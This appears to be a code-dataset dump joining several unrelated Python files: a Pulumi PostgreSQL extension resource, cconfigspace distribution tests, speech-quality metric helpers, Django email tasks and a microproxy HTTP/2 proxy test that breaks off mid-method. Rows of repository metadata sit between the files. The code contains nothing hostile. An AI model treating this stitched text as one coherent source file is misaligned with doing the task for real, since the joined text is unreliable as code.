if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = ExtensionArgs.__new__(ExtensionArgs)
__props__.__dict__["create_cascade"] = create_cascade
__props__.__dict__["database"] = database
__props__.__dict__["drop_cascade"] = drop_cascade
__props__.__dict__["name"] = name
__props__.__dict__["schema"] = schema
__props__.__dict__["version"] = version
super(Extension, __self__).__init__(
'postgresql:index/extension:Extension',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
create_cascade: Optional[pulumi.Input[bool]] = None,
database: Optional[pulumi.Input[str]] = None,
drop_cascade: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
schema: Optional[pulumi.Input[str]] = None,
version: Optional[pulumi.Input[str]] = None) -> 'Extension':
"""
Get an existing Extension resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[bool] create_cascade: When true, will also create any extensions that this extension depends on that are not already installed. (Default: false)
:param pulumi.Input[str] database: Which database to create the extension on. Defaults to provider database.
:param pulumi.Input[bool] drop_cascade: When true, will also drop all the objects that depend on the extension, and in turn all objects that depend on those objects. (Default: false)
:param pulumi.Input[str] name: The name of the extension.
:param pulumi.Input[str] schema: Sets the schema of an extension.
:param pulumi.Input[str] version: Sets the version number of the extension.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _ExtensionState.__new__(_ExtensionState)
__props__.__dict__["create_cascade"] = create_cascade
__props__.__dict__["database"] = database
__props__.__dict__["drop_cascade"] = drop_cascade
__props__.__dict__["name"] = name
__props__.__dict__["schema"] = schema
__props__.__dict__["version"] = version
return Extension(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="createCascade")
def create_cascade(self) -> pulumi.Output[Optional[bool]]:
"""
When true, will also create any extensions that this extension depends on that are not already installed. (Default: false)
"""
return pulumi.get(self, "create_cascade")
@property
@pulumi.getter
def database(self) -> pulumi.Output[str]:
"""
Which database to create the extension on. Defaults to provider database.
"""
return pulumi.get(self, "database")
@property
@pulumi.getter(name="dropCascade")
def drop_cascade(self) -> pulumi.Output[Optional[bool]]:
"""
When true, will also drop all the objects that depend on the extension, and in turn all objects that depend on those objects. (Default: false)
"""
return pulumi.get(self, "drop_cascade")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The name of the extension.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def schema(self) -> pulumi.Output[str]:
"""
Sets the schema of an extension.
"""
return pulumi.get(self, "schema")
@property
@pulumi.getter
def version(self) -> pulumi.Output[str]:
"""
Sets the version number of the extension.
"""
return pulumi.get(self, "version")
| 41.052109
| 190
| 0.635155
| 1,947
| 16,544
| 5.214689
| 0.080123
| 0.088841
| 0.101054
| 0.078007
| 0.84576
| 0.834729
| 0.819265
| 0.811484
| 0.806461
| 0.797794
| 0
| 0.000082
| 0.263298
| 16,544
| 402
| 191
| 41.154229
| 0.83295
| 0.323199
| 0
| 0.800866
| 1
| 0
| 0.073386
| 0.003499
| 0
| 0
| 0
| 0
| 0
| 1
| 0.160173
| false
| 0.004329
| 0.021645
| 0
| 0.277056
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
fcc922a5bf5f03b7e846941606ea6de3c8e77996
| 8,190
|
py
|
Python
|
bindings/python/test/test_distribution.py
|
deephyper/CCS
|
dd8c976eca2a510c995862cc5c871e81932f3ff4
|
[
"BSD-3-Clause"
] | 1
|
2021-11-29T16:31:28.000Z
|
2021-11-29T16:31:28.000Z
|
bindings/python/test/test_distribution.py
|
deephyper/CCS
|
dd8c976eca2a510c995862cc5c871e81932f3ff4
|
[
"BSD-3-Clause"
] | 1
|
2021-12-15T10:37:41.000Z
|
2021-12-15T10:48:24.000Z
|
bindings/python/test/test_distribution.py
|
deephyper/CCS
|
dd8c976eca2a510c995862cc5c871e81932f3ff4
|
[
"BSD-3-Clause"
] | 2
|
2021-09-16T18:20:47.000Z
|
2021-12-07T17:54:11.000Z
|
import unittest
import sys
sys.path.insert(1, '.')
sys.path.insert(1, '..')
import cconfigspace as ccs
class TestDistribution(unittest.TestCase):
def test_from_handle_Roulette(self):
d = ccs.RouletteDistribution(areas = [ 1.0, 2.0, 1.0, 0.5 ])
d2 = ccs.Object.from_handle(d.handle)
self.assertEqual( d.__class__, d2.__class__)
self.assertEqual( d.handle.value, d2.handle.value)
def test_create_roulette(self):
areas = [ 1.0, 2.0, 1.0, 0.5 ]
s = sum(areas)
d = ccs.RouletteDistribution(areas = areas)
self.assertEqual( ccs.DISTRIBUTION, d.object_type )
self.assertEqual( ccs.ROULETTE, d.type )
self.assertEqual( ccs.NUM_INTEGER, d.data_type )
self.assertEqual( 1, d.dimension )
a = d.areas
self.assertTrue( sum(a) > 0.999 )
self.assertTrue( sum(a) < 1.001 )
for i in range(len(a)):
self.assertTrue( a[i] < areas[i] * 1.001 / s )
self.assertTrue( a[i] > areas[i] * 0.999 / s )
i = d.bounds
self.assertEqual( ccs.NUM_INTEGER, i.type)
self.assertEqual( 0, i.lower )
self.assertEqual( 4, i.upper )
self.assertTrue( i.lower_included )
self.assertFalse( i.upper_included )
def test_from_handle_normal(self):
d = ccs.NormalDistribution()
d2 = ccs.Object.from_handle(d.handle)
self.assertEqual( d.__class__, d2.__class__)
self.assertEqual( d.handle.value, d2.handle.value)
def test_create_normal(self):
d = ccs.NormalDistribution()
self.assertEqual( ccs.DISTRIBUTION, d.object_type )
self.assertEqual( ccs.NORMAL, d.type )
self.assertEqual( ccs.NUM_FLOAT, d.data_type )
self.assertEqual( ccs.LINEAR, d.scale )
self.assertEqual( 1, d.dimension )
self.assertEqual( 0.0, d.mu )
self.assertEqual( 1.0, d.sigma )
i = d.bounds
self.assertEqual( ccs.NUM_FLOAT, i.type )
self.assertEqual( float('-inf'), i.lower )
self.assertEqual( float('inf'), i.upper )
self.assertFalse( i.lower_included )
self.assertFalse( i.upper_included )
def test_create_normal_float(self):
d = ccs.NormalDistribution.float(mu = 2.0, sigma = 6.0)
self.assertEqual( ccs.DISTRIBUTION, d.object_type )
self.assertEqual( ccs.NORMAL, d.type )
self.assertEqual( ccs.NUM_FLOAT, d.data_type )
self.assertEqual( ccs.LINEAR, d.scale )
self.assertEqual( 1, d.dimension )
self.assertEqual( 2.0, d.mu )
self.assertEqual( 6.0, d.sigma )
def test_create_normal_int(self):
d = ccs.NormalDistribution.int(mu = 2.0, sigma = 6.0)
self.assertEqual( ccs.DISTRIBUTION, d.object_type )
self.assertEqual( ccs.NORMAL, d.type )
self.assertEqual( ccs.NUM_INTEGER, d.data_type )
self.assertEqual( ccs.LINEAR, d.scale )
self.assertEqual( 1, d.dimension )
self.assertEqual( 2.0, d.mu )
self.assertEqual( 6.0, d.sigma )
def test_sample_normal(self):
rng = ccs.Rng()
d = ccs.NormalDistribution()
i = d.bounds
v = d.sample(rng)
self.assertTrue( i.include(v) )
a = d.samples(rng, 100)
self.assertEqual( 100, len(a) )
for v in a:
self.assertTrue( i.include(v) )
def test_from_handle_uniform(self):
d = ccs.UniformDistribution()
d2 = ccs.Object.from_handle(d.handle)
self.assertEqual( d.__class__, d2.__class__)
self.assertEqual( d.handle.value, d2.handle.value)
def test_create_uniform(self):
d = ccs.UniformDistribution()
self.assertEqual( ccs.DISTRIBUTION, d.object_type )
self.assertEqual( ccs.UNIFORM, d.type )
self.assertEqual( ccs.NUM_FLOAT, d.data_type )
self.assertEqual( ccs.LINEAR, d.scale )
self.assertEqual( 1, d.dimension )
i = d.bounds
self.assertEqual( ccs.NUM_FLOAT, i.type )
self.assertEqual( 0.0, i.lower)
self.assertEqual( 1.0, i.upper)
self.assertEqual( 0.0, d.lower)
self.assertEqual( 1.0, d.upper)
self.assertTrue( i.lower_included )
self.assertFalse( i.upper_included )
def test_create_uniform_float(self):
d = ccs.UniformDistribution.float(lower = -1.0, upper = 1.0)
self.assertEqual( ccs.DISTRIBUTION, d.object_type )
self.assertEqual( ccs.UNIFORM, d.type )
self.assertEqual( ccs.NUM_FLOAT, d.data_type )
self.assertEqual( ccs.LINEAR, d.scale )
self.assertEqual( 1, d.dimension )
i = d.bounds
self.assertEqual( ccs.NUM_FLOAT, i.type )
self.assertEqual( -1.0, i.lower)
self.assertEqual( 1.0, i.upper)
self.assertEqual( -1.0, d.lower)
self.assertEqual( 1.0, d.upper)
self.assertTrue( i.lower_included )
self.assertFalse( i.upper_included )
def test_create_uniform_int(self):
d = ccs.UniformDistribution.int(lower = 0, upper = 100)
self.assertEqual( ccs.DISTRIBUTION, d.object_type )
self.assertEqual( ccs.UNIFORM, d.type )
self.assertEqual( ccs.NUM_INTEGER, d.data_type )
self.assertEqual( ccs.LINEAR, d.scale )
self.assertEqual( 1, d.dimension )
i = d.bounds
self.assertEqual( ccs.NUM_INTEGER, i.type )
self.assertEqual( 0, i.lower)
self.assertEqual( 100, i.upper)
self.assertEqual( 0, d.lower)
self.assertEqual( 100, d.upper)
self.assertTrue( i.lower_included )
self.assertFalse( i.upper_included )
def test_oversampling_uniform_float(self):
d = ccs.UniformDistribution.float(lower = -1.0, upper = 1.0)
i = ccs.ccs_interval(t = ccs.NUM_FLOAT, lower = -0.2, upper = 0.2)
self.assertTrue( d.oversampling(i) )
i = ccs.ccs_interval(t = ccs.NUM_FLOAT, lower = -0.2, upper = 2.0)
self.assertTrue( d.oversampling(i) )
i = ccs.ccs_interval(t = ccs.NUM_FLOAT, lower = -2.0, upper = 2.0)
self.assertFalse( d.oversampling(i) )
def test_oversampling_uniform_int(self):
d = ccs.UniformDistribution.int(lower = 0, upper = 100)
i = ccs.ccs_interval(t = ccs.NUM_INTEGER, lower = 5, upper = 50)
self.assertTrue( d.oversampling(i) )
i = ccs.ccs_interval(t = ccs.NUM_INTEGER, lower = 5, upper = 150)
self.assertTrue( d.oversampling(i) )
i = ccs.ccs_interval(t = ccs.NUM_INTEGER, lower = -5, upper = 150)
self.assertFalse( d.oversampling(i) )
def test_sample_uniform(self):
rng = ccs.Rng()
d = ccs.UniformDistribution()
i = d.bounds
v = d.sample(rng)
self.assertTrue( i.include(v) )
a = d.samples(rng, 100)
self.assertEqual( 100, len(a) )
for v in a:
self.assertTrue( i.include(v) )
def test_create_mixture(self):
distributions = [ ccs.UniformDistribution.float(lower = -5.0, upper = 0.0),
ccs.UniformDistribution.float(lower = 0.0, upper = 2.0) ]
d = ccs.MixtureDistribution(distributions = distributions)
self.assertEqual( d.object_type, ccs.DISTRIBUTION )
self.assertEqual( d.type, ccs.MIXTURE )
self.assertEqual( d.data_types, [ccs.NUM_FLOAT] )
self.assertEqual( d.weights, [0.5, 0.5] )
self.assertEqual( [x.handle.value for x in d.distributions], [x.handle.value for x in distributions] )
d2 = ccs.Object.from_handle(d.handle)
self.assertEqual( d.__class__, d2.__class__ )
def test_create_multivariate(self):
distributions = [ ccs.UniformDistribution.float(lower = -5.0, upper = 0.0),
ccs.UniformDistribution.int(lower = 0, upper = 2) ]
d = ccs.MultivariateDistribution(distributions = distributions)
self.assertEqual( d.object_type, ccs.DISTRIBUTION )
self.assertEqual( d.type, ccs.MULTIVARIATE )
self.assertEqual( d.data_types, [ccs.NUM_FLOAT, ccs.NUM_INTEGER] )
self.assertEqual( [x.handle.value for x in d.distributions], [x.handle.value for x in distributions] )
d2 = ccs.Object.from_handle(d.handle)
self.assertEqual( d.__class__, d2.__class__ )
def test_mixture_multidim(self):
distributions = [ ccs.UniformDistribution.float(lower = -5.0, upper = 0.0),
ccs.UniformDistribution.int(lower = 0, upper = 2) ]
d = ccs.MultivariateDistribution(distributions = distributions)
d2 = ccs.MixtureDistribution(distributions = [d, d])
self.assertEqual( d2.object_type, ccs.DISTRIBUTION )
self.assertEqual( d2.type, ccs.MIXTURE )
self.assertEqual( d2.data_types, [ccs.NUM_FLOAT, ccs.NUM_INTEGER] )
self.assertEqual( d2.weights, [0.5, 0.5] )
if __name__ == '__main__':
unittest.main()
| 39.375
| 106
| 0.675214
| 1,163
| 8,190
| 4.621668
| 0.074807
| 0.234419
| 0.107163
| 0.08186
| 0.860837
| 0.804279
| 0.782326
| 0.769674
| 0.76
| 0.755163
| 0
| 0.027732
| 0.189866
| 8,190
| 207
| 107
| 39.565217
| 0.782366
| 0
| 0
| 0.631016
| 0
| 0
| 0.002198
| 0
| 0
| 0
| 0
| 0
| 0.57754
| 1
| 0.090909
| false
| 0
| 0.016043
| 0
| 0.112299
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
fcd49273eb76c226b4e9fd1c6959d949e9c0dafa
| 491
|
py
|
Python
|
pypesq/metrics.py
|
quhonglin/objective_speech_metric
|
0e7cfc3e9695e4128e420b842a9e27b9d9bf9769
|
[
"MIT"
] | 2
|
2021-01-14T08:26:47.000Z
|
2021-12-29T03:49:04.000Z
|
build/lib.linux-x86_64-3.7/pypesq/metrics.py
|
quhonglin/objective_speech_metric
|
0e7cfc3e9695e4128e420b842a9e27b9d9bf9769
|
[
"MIT"
] | null | null | null |
build/lib.linux-x86_64-3.7/pypesq/metrics.py
|
quhonglin/objective_speech_metric
|
0e7cfc3e9695e4128e420b842a9e27b9d9bf9769
|
[
"MIT"
] | null | null | null |
from pypesq import pesq
from pystoi.stoi import stoi
def compute_STOI(clean_signal, noisy_signal, sr=16000):
"""计算 STOI
Args:
clean_signal:纯净语音信号
noisy_signal:带噪语音信号
sr:采样率
"""
return stoi(clean_signal, noisy_signal, sr, extended=False)
def compute_PESQ(clean_signal, noisy_signal, sr=16000):
"""计算PESQ
Args:
clean_signal:纯净语音信号
noisy_signal:带噪语音信号
sr: 采样率
"""
return pesq(clean_signal, noisy_signal, sr)
| 19.64
| 63
| 0.657841
| 64
| 491
| 4.828125
| 0.34375
| 0.213592
| 0.20712
| 0.28479
| 0.711974
| 0.711974
| 0.317152
| 0.317152
| 0.317152
| 0.317152
| 0
| 0.027322
| 0.254582
| 491
| 24
| 64
| 20.458333
| 0.81694
| 0.299389
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
1e21980038a4d251c9b143762d207911d78349df
| 2,892
|
py
|
Python
|
user/tasks.py
|
kthaisociety/website
|
417ead4d074fc3791fb1453c47d9e6dac0a7a7cd
|
[
"MIT"
] | 1
|
2020-03-19T09:44:16.000Z
|
2020-03-19T09:44:16.000Z
|
user/tasks.py
|
kthaisociety/website
|
417ead4d074fc3791fb1453c47d9e6dac0a7a7cd
|
[
"MIT"
] | 43
|
2020-02-22T09:32:27.000Z
|
2022-03-22T11:24:51.000Z
|
user/tasks.py
|
kthaisociety/website
|
417ead4d074fc3791fb1453c47d9e6dac0a7a7cd
|
[
"MIT"
] | 3
|
2020-03-06T13:27:12.000Z
|
2022-02-07T09:01:07.000Z
|
from uuid import UUID
from celery import shared_task
from django.template.loader import render_to_string
from app.enums import MailTag
from app.utils import get_notification_template, send_email, get_substitutions_templates
from user.models import User
# @shared_task
def send_verify_email(user_id: UUID):
context = get_substitutions_templates()
user = User.objects.get(id=user_id)
context["user"] = user
template = get_notification_template(
method="email", app="user", task="register", format="html"
)
subject = get_notification_template(
method="email", app="user", task="register", format="subject"
)
body = render_to_string(template, context)
send_email(subject=subject, body=body, to=user.email, tags=[MailTag.REGISTER])
# @shared_task
def send_password_email(user_id: UUID):
context = get_substitutions_templates()
user = User.objects.get(id=user_id)
context["user"] = user
template = get_notification_template(
method="email", app="user", task="password", format="html"
)
subject = get_notification_template(
method="email", app="user", task="password", format="subject"
)
body = render_to_string(template, context)
send_email(subject=subject, body=body, to=user.email, tags=[MailTag.PASSWORD])
# @shared_task
def send_imported_email(user_id: UUID):
context = get_substitutions_templates()
user = User.objects.get(id=user_id)
context["user"] = user
template = get_notification_template(
method="email", app="user", task="imported", format="html"
)
subject = get_notification_template(
method="email", app="user", task="imported", format="subject"
)
body = render_to_string(template, context)
send_email(subject=subject, body=body, to=user.email, tags=[MailTag.PASSWORD])
# @shared_task
def send_slack_email(user_id: UUID):
context = get_substitutions_templates()
user = User.objects.get(id=user_id)
context["user"] = user
template = get_notification_template(
method="email", app="user", task="slack", format="html"
)
subject = get_notification_template(
method="email", app="user", task="slack", format="subject"
)
body = render_to_string(template, context)
send_email(subject=subject, body=body, to=user.email, tags=[MailTag.SLACK])
# @shared_task
def send_created_email(user_id: UUID):
context = get_substitutions_templates()
user = User.objects.get(id=user_id)
context["user"] = user
template = get_notification_template(
method="email", app="user", task="created", format="html"
)
subject = get_notification_template(
method="email", app="user", task="created", format="subject"
)
body = render_to_string(template, context)
send_email(subject=subject, body=body, to=user.email, tags=[MailTag.CREATED])
| 32.494382
| 88
| 0.700899
| 364
| 2,892
| 5.354396
| 0.10989
| 0.084659
| 0.12981
| 0.148794
| 0.837352
| 0.837352
| 0.837352
| 0.837352
| 0.837352
| 0.837352
| 0
| 0
| 0.17047
| 2,892
| 88
| 89
| 32.863636
| 0.812422
| 0.02213
| 0
| 0.484848
| 0
| 0
| 0.083983
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.075758
| false
| 0.075758
| 0.136364
| 0
| 0.212121
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
1eb214d464430d7a90373b27d57897f882f648e6
| 16,958
|
py
|
Python
|
microproxy/test/layer/test_http2.py
|
mike820324/microProxy
|
64c7c5add4759c6e105b9438cd18c0f8c930c7a3
|
[
"MIT"
] | 20
|
2016-04-17T08:43:26.000Z
|
2021-05-31T04:01:27.000Z
|
microproxy/test/layer/test_http2.py
|
mike820324/microProxy
|
64c7c5add4759c6e105b9438cd18c0f8c930c7a3
|
[
"MIT"
] | 237
|
2016-04-17T07:07:08.000Z
|
2017-01-26T09:15:52.000Z
|
microproxy/test/layer/test_http2.py
|
mike820324/microProxy
|
64c7c5add4759c6e105b9438cd18c0f8c930c7a3
|
[
"MIT"
] | 5
|
2016-04-16T14:22:45.000Z
|
2019-11-27T04:41:55.000Z
|
import mock
from tornado.testing import gen_test
from tornado.gen import coroutine
from microproxy.test.utils import ProxyAsyncTestCase
from microproxy.context import LayerContext, ServerContext
from microproxy.layer import Http2Layer
from microproxy.protocol.http2 import Connection
from microproxy.context import HttpRequest, HttpResponse, HttpHeaders
class TestHttp2Layer(ProxyAsyncTestCase):
def setUp(self):
super(TestHttp2Layer, self).setUp()
self.asyncSetUp()
self.src_events = []
self.dest_events = []
@gen_test
def asyncSetUp(self):
self.client_stream, src_stream = yield self.create_iostream_pair()
dest_stream, self.server_stream = yield self.create_iostream_pair()
server_state = ServerContext(
config={},
interceptor=mock.Mock(**{
"publish.return_value": None,
"request.return_value": None,
"response.return_value": None,
})
)
self.http_layer = Http2Layer(
server_state,
LayerContext(mode="socks",
src_stream=src_stream,
dest_stream=dest_stream))
def record_src_event(self, *args):
self.src_events.append(args)
def record_dest_event(self, *args):
self.dest_events.append(args)
def ignore_event(self, *args):
pass
@coroutine
def read_until_new_event(self, conn, events):
curr_count = len(events)
while curr_count == len(events):
yield conn.read_bytes()
@gen_test
def test_req_and_resp(self):
self.client_conn = Connection(
self.client_stream, client_side=True,
on_response=self.record_src_event,
on_unhandled=self.ignore_event)
self.server_conn = Connection(
self.server_stream, client_side=False,
on_request=self.record_dest_event,
on_unhandled=self.ignore_event)
result_future = self.http_layer.process_and_return_context()
self.client_conn.initiate_connection()
self.server_conn.initiate_connection()
self.client_conn.send_request(
1, HttpRequest(headers=[
(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]))
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.server_conn.send_response(
1, HttpResponse(headers=[(":status", "200"), ("aaa", "bbb")],
body=b"ccc"))
yield self.read_until_new_event(self.client_conn, self.src_events)
self.client_stream.close()
self.server_stream.close()
result = yield result_future
self.assertIsNotNone(result)
self.assertIsInstance(result, LayerContext)
self.assertEqual(len(self.src_events), 1)
stream_id, response = self.src_events[0]
self.assertEqual(stream_id, 1)
self.assertEqual(response.code, "200")
self.assertEqual(response.version, "HTTP/2")
self.assertEqual(
response.headers,
HttpHeaders([(":status", "200"),
("aaa", "bbb")]))
self.assertEqual(response.body, b"ccc")
self.assertEqual(len(self.dest_events), 1)
stream_id, request, _ = self.dest_events[0]
self.assertEqual(stream_id, 1)
self.assertEqual(request.method, "GET")
self.assertEqual(request.path, "/")
self.assertEqual(request.version, "HTTP/2")
self.assertEqual(
request.headers,
HttpHeaders([(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]))
@gen_test
def test_req_with_priority_updated(self):
self.client_conn = Connection(
self.client_stream, client_side=True,
on_unhandled=self.ignore_event)
self.server_conn = Connection(
self.server_stream, client_side=False,
on_request=self.record_dest_event,
on_unhandled=self.ignore_event)
result_future = self.http_layer.process_and_return_context()
self.client_conn.initiate_connection()
self.server_conn.initiate_connection()
self.client_conn.send_request(
1, HttpRequest(headers=[
(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]),
priority_weight=10,
priority_depends_on=0,
priority_exclusive=False)
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.client_stream.close()
self.server_stream.close()
yield result_future
self.assertEqual(len(self.dest_events), 1)
stream_id, request, priority_updated = self.dest_events[0]
self.assertEqual(stream_id, 1)
self.assertEqual(request.method, "GET")
self.assertEqual(request.path, "/")
self.assertEqual(request.version, "HTTP/2")
self.assertEqual(
request.headers,
HttpHeaders([(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]))
self.assertIsNotNone(priority_updated)
self.assertEqual(priority_updated.weight, 10)
self.assertEqual(priority_updated.exclusive, False)
self.assertEqual(priority_updated.depends_on, 0)
@gen_test
def test_push(self):
self.client_conn = Connection(
self.client_stream, client_side=True,
on_response=self.record_src_event,
on_push=self.record_src_event,
on_unhandled=self.ignore_event)
self.server_conn = Connection(
self.server_stream, client_side=False,
on_request=self.record_dest_event,
on_unhandled=self.ignore_event)
result_future = self.http_layer.process_and_return_context()
self.client_conn.initiate_connection()
self.server_conn.initiate_connection()
self.client_conn.send_request(
1, HttpRequest(headers=[
(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]))
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.server_conn.send_pushed_stream(1, 2, HttpRequest(
headers=[(":method", "GET"), (":path", "/resource")]))
yield self.read_until_new_event(self.client_conn, self.src_events)
self.server_conn.send_response(
2, HttpResponse(headers=[(":status", "200"), ("aaa", "bbb")],
body=b"ccc"))
yield self.read_until_new_event(self.client_conn, self.src_events)
self.client_stream.close()
self.server_stream.close()
yield result_future
self.assertEqual(len(self.src_events), 2)
stream_id, parent_stream_id, request = self.src_events[0]
self.assertEqual(stream_id, 2)
self.assertEqual(parent_stream_id, 1)
self.assertEqual(request.method, "GET")
self.assertEqual(request.path, "/resource")
self.assertEqual(request.version, "HTTP/2")
self.assertEqual(
request.headers,
HttpHeaders([(":method", "GET"),
(":path", "/resource")]))
stream_id, response = self.src_events[1]
self.assertEqual(stream_id, 2)
self.assertEqual(response.code, "200")
self.assertEqual(response.version, "HTTP/2")
self.assertEqual(
response.headers,
HttpHeaders([(":status", "200"),
("aaa", "bbb")]))
@gen_test
def test_window_updates(self):
self.client_conn = Connection(
self.client_stream, client_side=True,
on_window_updates=self.record_src_event,
on_unhandled=self.ignore_event)
self.server_conn = Connection(
self.server_stream, client_side=False,
on_window_updates=self.record_dest_event,
on_unhandled=self.ignore_event)
result_future = self.http_layer.process_and_return_context()
self.client_conn.initiate_connection()
self.server_conn.initiate_connection()
self.client_conn.send_window_updates(0, 100)
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.client_conn.send_request(
1, HttpRequest(headers=[
(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]))
self.client_conn.send_window_updates(1, 200)
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.server_conn.send_window_updates(1, 300)
yield self.read_until_new_event(self.client_conn, self.src_events)
self.client_stream.close()
self.server_stream.close()
yield result_future
print self.src_events
self.assertEqual(len(self.src_events), 1)
self.assertEqual(self.src_events[0], (1, 300))
self.assertEqual(len(self.dest_events), 2)
self.assertEqual(self.dest_events[0], (0, 100))
self.assertEqual(self.dest_events[1], (1, 200))
@gen_test
def test_priority_updated(self):
self.client_conn = Connection(
self.client_stream, client_side=True,
on_unhandled=self.ignore_event)
self.server_conn = Connection(
self.server_stream, client_side=False,
on_priority_updates=self.record_dest_event,
on_unhandled=self.ignore_event)
result_future = self.http_layer.process_and_return_context()
self.client_conn.initiate_connection()
self.server_conn.initiate_connection()
self.client_conn.send_request(
1, HttpRequest(headers=[
(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]))
self.client_conn.send_priority_updates(1, 0, 10, False)
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.client_stream.close()
self.server_stream.close()
yield result_future
self.assertEqual(len(self.dest_events), 1)
self.assertEqual(self.dest_events[0], (1, 0, 10, False))
@gen_test
def test_reset(self):
self.client_conn = Connection(
self.client_stream, client_side=True,
on_reset=self.record_src_event,
on_unhandled=self.ignore_event)
self.server_conn = Connection(
self.server_stream, client_side=False,
on_request=self.record_dest_event,
on_reset=self.record_dest_event,
on_unhandled=self.ignore_event)
result_future = self.http_layer.process_and_return_context()
self.client_conn.initiate_connection()
self.server_conn.initiate_connection()
self.client_conn.send_request(
1, HttpRequest(headers=[
(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]))
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.client_conn.send_reset(1, 0)
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.client_conn.send_request(
3, HttpRequest(headers=[
(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]))
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.server_conn.send_reset(3, 0)
yield self.read_until_new_event(self.client_conn, self.src_events)
self.client_stream.close()
self.server_stream.close()
yield result_future
self.assertEqual(len(self.src_events), 1)
self.assertEqual(self.src_events[0], (3, 0))
self.assertEqual(len(self.dest_events), 3) # NOTE: req, reset, req
self.assertEqual(self.dest_events[1], (1, 0))
@gen_test
def test_src_send_terminate(self):
self.client_conn = Connection(
self.client_stream, client_side=True,
on_unhandled=self.ignore_event)
self.server_conn = Connection(
self.server_stream, client_side=False,
on_terminate=self.record_dest_event,
on_unhandled=self.ignore_event)
result_future = self.http_layer.process_and_return_context()
self.client_conn.initiate_connection()
self.server_conn.initiate_connection()
self.client_conn.send_terminate()
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.client_stream.close()
self.server_stream.close()
yield result_future
self.assertEqual(len(self.dest_events), 1)
self.assertEqual(self.dest_events[0], (None, 0, 0))
@gen_test
def test_dest_send_terminate(self):
self.client_conn = Connection(
self.client_stream, client_side=True,
on_terminate=self.record_src_event,
on_settings=self.record_src_event,
on_unhandled=self.ignore_event)
self.server_conn = Connection(
self.server_stream, client_side=False,
on_unhandled=self.ignore_event)
result_future = self.http_layer.process_and_return_context()
self.client_conn.initiate_connection()
self.server_conn.initiate_connection()
# NOTE: because hyper-h2 will always send SettingsChanged when init
# Than client will receive two setting frame from destination and server
yield self.read_until_new_event(self.client_conn, self.src_events)
yield self.read_until_new_event(self.client_conn, self.src_events)
self.server_conn.send_terminate()
yield self.read_until_new_event(self.client_conn, self.src_events)
self.client_stream.close()
self.server_stream.close()
yield result_future
self.assertEqual(len(self.src_events), 3)
self.assertEqual(self.src_events[2], (None, 0, 0))
@gen_test
def test_safe_mapping_id(self):
self.client_conn = Connection(
self.client_stream, client_side=True,
on_unhandled=self.ignore_event)
self.server_conn = Connection(
self.server_stream, client_side=False,
on_request=self.record_dest_event,
on_unhandled=self.ignore_event)
result_future = self.http_layer.process_and_return_context()
self.client_conn.initiate_connection()
self.server_conn.initiate_connection()
self.assertEqual(
self.http_layer.safe_mapping_id(self.http_layer.src_to_dest_ids, 1), 0)
self.client_conn.send_request(
1, HttpRequest(headers=[
(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]))
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.assertEqual(
self.http_layer.safe_mapping_id(self.http_layer.src_to_dest_ids, 1), 1)
self.client_stream.close()
self.server_stream.close()
yield result_future
@gen_test
def test_replay(self):
self.http_layer.context.mode = "replay"
self.client_conn = Connection(
self.client_stream, client_side=True,
on_unhandled=self.ignore_event)
self.server_conn = Connection(
self.server_stream, client_side=False,
on_request=self.record_dest_event,
